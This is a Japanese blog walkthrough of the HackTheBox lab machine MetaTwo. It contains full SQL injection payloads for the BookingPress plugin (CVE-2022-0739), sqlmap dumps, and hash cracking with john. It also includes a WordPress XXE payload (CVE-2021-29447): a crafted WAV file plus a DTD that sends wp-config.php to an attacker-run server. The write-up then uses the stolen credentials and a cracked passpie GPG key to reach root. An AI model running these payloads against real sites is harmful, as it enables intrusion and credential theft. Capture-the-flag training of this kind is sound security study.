1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

hackthebox MetaTwo

Posted at

0.はじめに

hacktheboxのMetaTwo攻略方法です。
複数の脆弱性を活用しないとユーザフラグまでたどり着けないです。
一方で、rootへの権限昇格は短めです。
途中のSQLインジェクションをする場面でsqlmapツールを試すことが出来るのでその部分までは試してほしいです。

1.nmapでポートスキャン

①開いているポートの確認

nmap -sT 10.10.11.186

image.png

②ポートの詳細を確認

nmap -sC -sV -sT -p 21,22,80 10.10.11.186

image.png

2.webサイト調査

①webサイトにアクセス

http://10.10.11.186

image.png

以下のURLに遷移して、サーバー接続エラーになるのでhostsに追記します。

http://metapress.htb/

hostsへの追記

cd /etc/
sudo nano hosts
10.10.11.186       metapress.htb

image.png

hostsへの追記後、再度webサイトにアクセスします。

http://10.10.11.186

image.png

(途中省略)
image.png

再びURLは遷移しますが、今度はサーバー接続エラーにならず表示されます。
また、Webページ下部の記載からWordPressで作成されていることが推測されます。

②ディレクトリ調査

gobuster dir -u http://10.10.11.186 -w /usr/share/wordlists/dirb/common.txt

image.png

以下のリダイレクトエラーが発生するので、ホスト名で再実施します。

2025/09/22 14:31:03 the server returns a status code that matches the provided options for non existing urls. http://10.10.11.186/44317101-b203-4de0-9daa-59aae6fa39fb => 302 (redirect to http://metapress.htb/) (Length: 145). Please exclude the response length or the status code or set the wildcard option.. To continue please exclude the status code or the length

ホスト名で再実施します。

gobuster dir -u http://metapress.htb -w /usr/share/wordlists/dirb/common.txt

image.png

(途中省略)
image.png

wp-adminがあるのでWordPressで構成されていると考えて良さそうです。
robots.txtもこのタイミングで確認してみましたが有益な情報はなかったので記事では省略します。

③Wappalyzerによるバージョン確認
Wappalyzerのプラグインをクリック
image.png

Wappalyzerウィンドウにバージョン情報が表示されます。
image.png

バージョン情報

SW バージョン
WordPress 5.6.2
Nginx 1.18.0
PHP 8.0.24

Wappalyzerのプラグインを使わなくても以下の方法で調べることは可能です。
・(Nginx、PHPバージョン情報)brupでレスポンスヘッダーを確認
image.png

・(WordPressバージョン)ページソースを確認
image.png

④eventsページの確認
http://metapress.htb/events/」をクリック
image.png

以下のURLに遷移します。

http://metapress.htb/events/

image.png

更に、ページソースを確認します。
image.png

以下は44〜54行目のページソース

<script data-cfasync="false" src='http://metapress.htb/wp-content/plugins/bookingpress-appointment-booking/js/bookingpress_vue.min.js?ver=1.0.10' id='bookingpress_vue_js-js'></script>
<script data-cfasync="false" src='http://metapress.htb/wp-content/plugins/bookingpress-appointment-booking/js/bookingpress_axios.min.js?ver=1.0.10' id='bookingpress_axios_js-js'></script>
<script data-cfasync="false" src='http://metapress.htb/wp-content/plugins/bookingpress-appointment-booking/js/bookingpress_wordpress_vue_qs_helper.js?ver=1.0.10' id='bookingpress_wordpress_vue_helper_js-js'></script>
<script data-cfasync="false" src='http://metapress.htb/wp-content/plugins/bookingpress-appointment-booking/js/bookingpress_element.js?ver=1.0.10' id='bookingpress_element_js-js'></script>
<script data-cfasync="false" src='http://metapress.htb/wp-content/plugins/bookingpress-appointment-booking/js/bookingpress_vue_calendar.js?ver=1.0.10' id='bookingpress_calendar_js-js'></script>
<script data-cfasync="false" src='http://metapress.htb/wp-content/plugins/bookingpress-appointment-booking/js/bookingpress_moment.min.js?ver=1.0.10' id='bookingpress_moment_js-js'></script>
<script data-cfasync="false" src='http://metapress.htb/wp-content/plugins/bookingpress-appointment-booking/js/bookingpress_tel_input.js?ver=1.0.10' id='bookingpress_tel_input_js-js'></script>
<script data-cfasync="false" src='http://metapress.htb/wp-content/plugins/bookingpress-appointment-booking/js/bookingpress_element_en.js?ver=1.0.10' id='bookingpress_element_en_js-js'></script>
<link rel="https://api.w.org/" href="http://metapress.htb/wp-json/" /><link rel="alternate" type="application/json" href="http://metapress.htb/wp-json/wp/v2/pages/21" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="http://metapress.htb/xmlrpc.php?rsd" />
<link rel="wlwmanifest" type="application/wlwmanifest+xml" href="http://metapress.htb/wp-includes/wlwmanifest.xml" /> 
<meta name="generator" content="WordPress 5.6.2" />

bookingpressプラグインの1.0.10を使っているように見えます。

3.脆弱性の調査

①bookingpressプラグインの脆弱性調査
「bookingpress 1.0.10 CVE」で検索すると以下のサイトが見つかります。
・BookingPress < 1.0.11 - Unauthenticated SQL Injection

https://wpscan.com/vulnerability/388cd42d-b61a-42a4-8604-99b812db2357/

→「CVE-2022-0739」というSQLインジェクションの脆弱性があると判明します。

②WordPress:5.6.2の脆弱性調査
「WordPress 5.6.2 CVE」で検索すると以下のサイトが見つかる
・WordPress 5.6.2 Vulnerabilities

https://wpscan.com/wordpress/562/

・WordPress 5.6-5.7 - Authenticated XXE Within the Media Library Affecting PHP 8

https://wpscan.com/vulnerability/cbbe6c17-b24e-4be4-8937-c78472a138b5/

・PoC

https://blog.wpsec.com/wordpress-xxe-in-media-library-cve-2021-29447/

→「CVE-2021-29447」というメディアライブラリにおいてXXE攻撃の脆弱性があると判明します。

③今後の流れを整理
以下の流れで攻略をしていきます。
(1)bookingpressプラグインの脆弱性を利用
 SQLインジェクションでWordPress管理画面へのログイン情報を取得します。

(2)WordPress:5.6.2の脆弱性を利用
 WordPress管理画面からXXEによりWordPressの設定ファイルを入手することで
 ftpまたはsshについて、認証情報の取得を目指します。

4.WordPressのプラグインに関する脆弱性(SQLインジェクション)

4-1.PoCの検証

①eventsページソースから_wpnonceの値を検索

http://metapress.htb/events/

image.png

毎回固定値ではないので更新が発生したら取り直しになります。
今回は以下の値になります。
ef6d761ae4

②バージョン情報取得のSQLインジェクションコマンド作成
オリジナル

curl -i 'https://example.com/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=8cc8b79544&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -'

変更後

curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=ef6d761ae4&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -'

変更するのはURLと_wpnonceの部分です。

③バージョン情報取得のSQLインジェクション実行

curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=ef6d761ae4&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -'

image.png

以下のようなバージョン情報が取得出来れば成功です。

[{"bookingpress_service_id":"10.5.15-MariaDB-0+deb11u1","bookingpress_category_id":"Debian 11","bookingpress_service_name":"debian-linux-gnu","bookingpress_service_price":"$1.00","bookingpress_service_duration_val":"2","bookingpress_service_duration_unit":"3","bookingpress_service_description":"4","bookingpress_service_position":"5","bookingpress_servicedate_created":"6","service_price_without_currency":1,"img_url":"http:\/\/metapress.htb\/wp-content\/plugins\/bookingpress-appointment-booking\/images\/placeholder-img.jpg"}]  

失敗例(_wpnonceを違う値で実行した場合)

curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=xxxxx&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -'

image.png

以下のようなエラーが返ってきます。

{"variant":"error","title":"Error","msg":"Sorry, Your request can not process due to security reason."} 

4-2.DB一覧を取得

(A)sqlmapコマンドで取得する場合

sqlmap -u "http://metapress.htb/wp-admin/admin-ajax.php" --method POST --data "action=bookingpress_front_get_category_services&_wpnonce=ef6d761ae4&category_id=33&total_service=111" -p total_service --dbs

image.png

information_schemaとblogのDBを検知しました。

(B)curlコマンドで取得する場合
以下のコマンドを順番に実行していき結果が表示されなくなるまで1件ずつ確認します。

curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=ef6d761ae4&category_id=33&total_service=-7502) UNION ALL SELECT schema_name,2,3,4,5,6,7,8,9 FROM information_schema.schemata LIMIT 0,1-- -'
curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=ef6d761ae4&category_id=33&total_service=-7502) UNION ALL SELECT schema_name,2,3,4,5,6,7,8,9 FROM information_schema.schemata LIMIT 1,1-- -'
curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=ef6d761ae4&category_id=33&total_service=-7502) UNION ALL SELECT schema_name,2,3,4,5,6,7,8,9 FROM information_schema.schemata LIMIT 2,1-- -'

1件目のコマンド実行結果
image.png

→information_schema

2件目のコマンド実行結果
image.png

→blog

3件目のコマンド実行結果
image.png

→なし

3件のコマンド実行結果からinformation_schemaとblogのDBがあると判断出来ます。

4-3.blogのテーブルの確認

(A)sqlmapコマンドで取得する場合

sqlmap -u "http://metapress.htb/wp-admin/admin-ajax.php" --method POST --data "action=bookingpress_front_get_category_services&_wpnonce=ef6d761ae4&category_id=33&total_service=111" -p total_service -D blog --tables

image.png

(途中省略)
image.png

wp_usersにユーザのWordPressログイン情報があるはずなので、次の作業で確認します。

(B)curlコマンドで取得する場合
DBの時と同様に1件ずつ取得するがinformation_schemaとblogのDBから探すことになります。
自分はLIMITの数字を1、10、30、60、...のような感じで増やして地道に調べました。
今回は86でwp_usersにヒットしています。

curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=ef6d761ae4&category_id=33&total_service=-7502) UNION ALL SELECT table_name,table_schema,3,4,5,6,7,8,9 FROM information_schema.tables LIMIT 86,1-- -'

image.png

4-4.wp_usersテーブルのレコードの確認

(A)sqlmapコマンドで取得する場合

sqlmap -u "http://metapress.htb/wp-admin/admin-ajax.php" --method POST --data "action=bookingpress_front_get_category_services&_wpnonce=ef6d761ae4&category_id=33&total_service=111" -p total_service -D blog -T wp_users --dump

image.png

(途中省略)
image.png

途中で聞かれる質問は全て否定しておく

do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N
do you want to crack them via a dictionary-based attack? [Y/n/q] n

取得した情報をまとめると以下のとおり

ID user_pass user_email user_login
1 $P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV. admin@metapress.htb admin
2 $P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70 manager@metapress.htb manager

(B)curlコマンドで取得する場合
先ほどと同様に1件ずつ取得します。

curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=ef6d761ae4&category_id=33&total_service=-7502) UNION ALL SELECT user_pass,user_email,user_login,4,5,6,7,8,9 FROM blog.wp_users LIMIT 0,1-- -'
curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=ef6d761ae4&category_id=33&total_service=-7502) UNION ALL SELECT user_pass,user_email,user_login,4,5,6,7,8,9 FROM blog.wp_users LIMIT 1,1-- -'
curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=ef6d761ae4&category_id=33&total_service=-7502) UNION ALL SELECT user_pass,user_email,user_login,4,5,6,7,8,9 FROM blog.wp_users LIMIT 2,1-- -'

1件目のコマンド実行結果
image.png

→adminのレコード

2件目のコマンド実行結果
image.png

→managerのレコード

3件目のコマンド実行結果
image.png

→なし

4-5.パスワードの解読

取得したユーザ情報とパスワードハッシュ情報のファイルを作成します。

nano hash.txt
admin:$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.
manager:$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70

image.png

johnを利用してパスワードハッシュ情報を解析します。

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

image.png

managerのパスワードは以下であると結果が出ました。
partylikearockstar
adminのパスワードは時間を掛けても解析出来なかったので、手動停止しています。

5.WordPressのメディアライブラリに関する脆弱性(XXE)

①WordPress管理画面へのログイン
ディレクトリ調査結果と先ほどのパスワード解析結果から以下の情報でWordPress管理画面にログインします。
URL:http://metapress.htb/wp-admin
Username:manager
Password:partylikearockstar
image.png

ログイン後以下の画面に遷移
image.png

②payload.wavとxxe.dtdファイルの作成
・payload.wavファイル

echo -en 'RIFF\x96\x00\x00\x00WAVEiXML\x89\x00\x00\x00<?xml version="1.0"?><!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY % sp SYSTEM "http://10.10.16.9:8000/xxe.dtd">%sp;%param1;]><r>&exfil;</r>\x00' > payload.wav

payload.wavファイル作成次はnanoは使わないこと

・xxe.dtdファイル

nano xxe.dtd
<!ENTITY % data SYSTEM "php://filter/read=convert.base64-encode/resource=../wp-config.php">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://10.10.16.9:8000/?%data;'>">

image.png

③httpサーバを起動

python3 -m http.server 8000

image.png

④payload.wavのアップロード
WordPress管理画面の左側メニューからMediaをクリック
image.png

「Add New」をクリック
image.png

「Select Files」をクリック
image.png

作成したpayload.wavを選択してアップロード
image.png

起動していたhttpサーバにxxe.dtdファイルで取得しようとしていたデータが出力されます。
image.png

→実際に使うデータは「10.10.11.186 - - [23/Sep/2025 15:50:21] "GET /?PD9waHANC〜hwJzsNCg== HTTP/1.1" 200 -」の「PD9waHANC〜hwJzsNCg==」部分です。

⑤取得したデータの解析
取得したデータはphp://filterでBase64にエンコードされた状態です。
なので、単純にBase64でデコードします。

echo 'PD9waHANC〜hwJzsNCg==' | base64 -d

image.png

以下のようにburp suiteのDecoder機能でBase64としてデコードでもよいです。
image.png

解析結果からFTP接続情報を取得します。
image.png

FTP接続情報

項目
FTP_USER metapress.htb
FTP_PASS 9NYS_ii@FyL_p5M2NvJ
FTP_HOST metapress.htb

6.ftpで接続(metapress.htb)

①ftp接続

ftp 10.10.11.186

Name:metapress.htb
password:9NYS_ii@FyL_p5M2NvJ
image.png

②send_email.phpファイルの取得

ls
cd mailer
ls
get send_email.php

image.png

③ftpから切断

exit

image.png

④取得したsend_email.phpファイルの解析

cat send_email.php

image.png

以下の情報を取得します。

項目
Username jnelson@metapress.htb
Password Cb4_JmWM8zUZWMu@Ys

この時点でDB、WordPress、ftpの情報は取得済みです。
今回取得した情報で新たに試せるのはSSHのみなので後続の作業で検証します。

7.sshで接続(jnelson)

①ssh接続

ssh jnelson@10.10.11.186

パスワード:Cb4_JmWM8zUZWMu@Ys
image.png

②userフラグの取得

cat /home/jnelson/user.txt

image.png

8.root権限取得

①jnelsonホームディレクトリの調査

cd ~
ls -la

image.png

「passpie」はパスワードマネージャーなので何らかの情報を取得できる可能性があります。

②keyファイルの取得

cd .passpie
ls -la
cat .keys

image.png

「/home/jnelson/.passpie/.keys」のファイルをローカルマシン側にコピーして解析したいので、ローカルマシン側で以下のscpコマンドを実行します。

scp jnelson@10.10.11.186:/home/jnelson/.passpie/.keys ./copykeys

パスワード:Cb4_JmWM8zUZWMu@Ys
image.png

③keyファイルからハッシュ値を抽出
copykeysファイルからハッシュ値を抽出します。

gpg2john copykeys > copykeys.hash

image.png

以下のようなエラーが発生するので、エラー内容からプライベートキー部分だけ残したファイルを作成します。

File copykeys
Error: Ensure that the input file copykeys contains a single private key only.
Error: No hash was generated for copykeys, ensure that the input file contains a single private key only.

image.png
(途中省略)
image.png
(途中省略)
image.png
赤枠部分が残す箇所です。
nanoでやってもいいですが標準でkaliに入っているエディタなどでGUI上で編集する方が楽です。

再度、ハッシュ値を抽出します。

gpg2john copykeys > copykeys.hash

image.png

④抽出したハッシュ値を解析

john -wordlist=/usr/share/wordlists/rockyou.txt copykeys.hash --format=gpg

image.png

blink182がパスフレーズだと判明します。

⑤passpieのデータを出力
SSH接続先でpasspieのデータを出力します。

passpie export /tmp/password.db

パスフレーズ:blink182
image.png
出力先をユーザホームディレクトリやtmpで試したのですが一定期間で削除されるような動作がありました。

出力したデータの確認

cat password.db

image.png

rootユーザのパスワードは以下であることがわかります
p7qfAZt4_A1xo_0x

⑥取得したパスワードでrootユーザに切り替え

su root

パスワード:p7qfAZt4_A1xo_0x
image.png

⑦rootフラグの取得

cat /root/root.txt

image.png

9.おわりに

SQLインジェクションの場面で、sqlmapツールを使う場合と使わない場合で試してやってみましたがsqlmapツールの威力を知ることができました。

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?